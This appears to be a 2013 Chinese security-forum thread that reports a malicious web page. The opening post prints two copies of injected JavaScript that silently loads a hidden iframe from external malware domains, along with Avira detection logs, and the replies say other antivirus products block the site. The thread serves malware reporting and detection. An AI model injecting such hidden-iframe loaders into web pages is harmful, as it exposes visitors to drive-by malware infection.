http://www.recetascafe.com/cgi-sys/suspendedpage.cgi

显示全部楼层 · 发表于 2013-10-27 20:06:52

if (document.getElementsByTagName('body')[0]) {
iframer();
} else {
var bdy = document.createElement("body");
try {
document.appendChild(bdy);
} catch (e) {
document.body = bdy;
}
if (document.getElementsByTagName('body')[0]) {
iframer();
} else {
document.write("<iframe src='http://dianagar.cz.cc/in.php?a=QQkFBg0CBAcNBgIMEkcJBQYNAgQCBQIMBw==' width='10' height='10' style='visibility:hidden;position:absolute;left:0;top:0;'></iframe>");
}
}
function iframer() {
var f = document.createElement('iframe');
f.setAttribute('src', 'http://dianagar.cz.cc/in.php?a=QQkFBg0CBAcNBgIMEkcJBQYNAgQCBQIMBw==');
f.style.visibility = 'hidden';
f.style.position = 'absolute';
f.style.left = '0';
f.style.top = '0';
f.setAttribute('width', '10');
f.setAttribute('height', '10');
document.getElementsByTagName('body')[0].appendChild(f);
}

复制代码

if (document.getElementsByTagName('body')[0]) {
iframer();
} else {
var bdy = document.createElement("body");
try {
document.appendChild(bdy);
} catch (e) {
document.body = bdy;
}
if (document.getElementsByTagName('body')[0]) {
iframer();
} else {
document.write("<iframe src='http://new-friha.cz.cc/QQkFBg0CBAcNBgIMEkcJBQYNAgQCBQIMBw==' width='10' height='10' style='visibility:hidden;position:absolute;left:0;top:0;'></iframe>");
}
}
function iframer() {
var f = document.createElement('iframe');
f.setAttribute('src', 'http://new-friha.cz.cc/QQkFBg0CBAcNBgIMEkcJBQYNAgQCBQIMBw==');
f.style.visibility = 'hidden';
f.style.position = 'absolute';
f.style.left = '0';
f.style.top = '0';
f.setAttribute('width', '10');
f.setAttribute('height', '10');
document.getElementsByTagName('body')[0].appendChild(f);
}

复制代码

Avira

2013/10/27 下午 07:59 [System Scanner] 發現惡意程式碼
   檔案 'C:\Users\alan\AppData\Local\Microsoft\Windows\Temporary Internet
   Files\Content.IE5\EVEXMFB8\suspendedpage[1].htm'
   包含病毒或有害的程式 'JS/Agent.ahf' [virus]
   已採取動作：
   檔案會移動至 '59b2af0e.qua' 名稱底下的隔離區目錄!

2013/10/27 下午 07:59 [System Scanner] 掃描
   掃描結束 [已完成全部的掃描.]。
   檔案數： 822
   目錄數： 0
   惡意程式碼數： 1
   警告數： 0

2013/10/27 下午 07:56 [FireWall] 已自動允許應用程式
   應用程式 C:\Windows\System32\rundll32.exe 於使用者 william\alan 具有「允許」規則

2013/10/27 下午 07:55 [FireWall] 已自動允許應用程式
   應用程式 C:\Windows\System32\taskhost.exe 於使用者 william\alan 具有「允許」規則

2013/10/27 下午 07:53 [System Scanner] 發現惡意程式碼
   檔案 'C:\Users\alan\AppData\Local\Microsoft\Windows\Temporary Internet
   Files\Low\Content.IE5\NWCVQR67\suspendedpage[1].htm'
   包含病毒或有害的程式 'JS/Agent.ahf' [virus]
   已採取動作：
   檔案會移動至 '5acd50b2.qua' 名稱底下的隔離區目錄!

2013/10/27 下午 07:53 [System Scanner] 掃描
   掃描結束 [已完成全部的掃描.]。
   檔案數： 824
   目錄數： 0
   惡意程式碼數： 1
   警告數： 0

2013/10/27 下午 07:51 [Real-Time Protection] 發現惡意程式碼
   在檔案 'C:\Users\alan\AppData\Local\Microsoft\Windows\Temporary Internet
   Files\Content.IE5\EVEXMFB8\suspendedpage[1].htm 中
   偵測到病毒或有害的程式 'JS/Agent.ahf [virus]'
   執行的動作：傳輸至掃描程式

2013/10/27 下午 07:51 [Real-Time Protection] 發現惡意程式碼
   在檔案 'C:\Users\alan\AppData\Local\Microsoft\Windows\Temporary Internet
   Files\Content.IE5\EVEXMFB8\suspendedpage[1].htm 中
   偵測到病毒或有害的程式 'JS/Agent.ahf [virus]'
   執行的動作：拒絕存取

2013/10/27 下午 07:51 [Real-Time Protection] 發現惡意程式碼
   在檔案 'C:\Users\alan\AppData\Local\Microsoft\Windows\Temporary Internet
   Files\Low\Content.IE5\NWCVQR67\suspendedpage[1].htm 中
   偵測到病毒或有害的程式 'JS/Agent.ahf [virus]'
   執行的動作：傳輸至掃描程式

2013/10/27 下午 07:51 [Real-Time Protection] 發現惡意程式碼
   在檔案 'C:\Users\alan\AppData\Local\Microsoft\Windows\Temporary Internet
   Files\Low\Content.IE5\NWCVQR67\suspendedpage[1].htm 中
   偵測到病毒或有害的程式 'JS/Agent.ahf [virus]'
   執行的動作：拒絕存取

2013/10/27 下午 07:50 [Web Protection] 已停用 Web Protection
   服務已停用

2013/10/27 下午 07:50 [Web Protection] 封鎖的網頁
   URL (http://www.recetascafe.com/cgi-sys/suspendedpage.cgi) 的評估結果為惡意程式碼，而遭到
封鎖.

fs is

显示全部楼层 · 发表于 2013-10-27 20:47:48

卡巴拦截

显示全部楼层 · 发表于 2013-10-27 20:57:25

Website Blocked by Trend Micro Titanium Maximum Security
Dangerous Page

Address:
http://www.recetascafe.com/cgi-sys/suspendedpage.cgi

Trend Micro has confirmed that this website can transmit malicious software or has been involved in online scams or fraud.

Please close this page.

显示全部楼层 · 发表于 2013-10-28 23:45:02

[已鉴定] http://www.recetascafe.com/cgi-sys/suspendedpage.cgi

浏览过的版块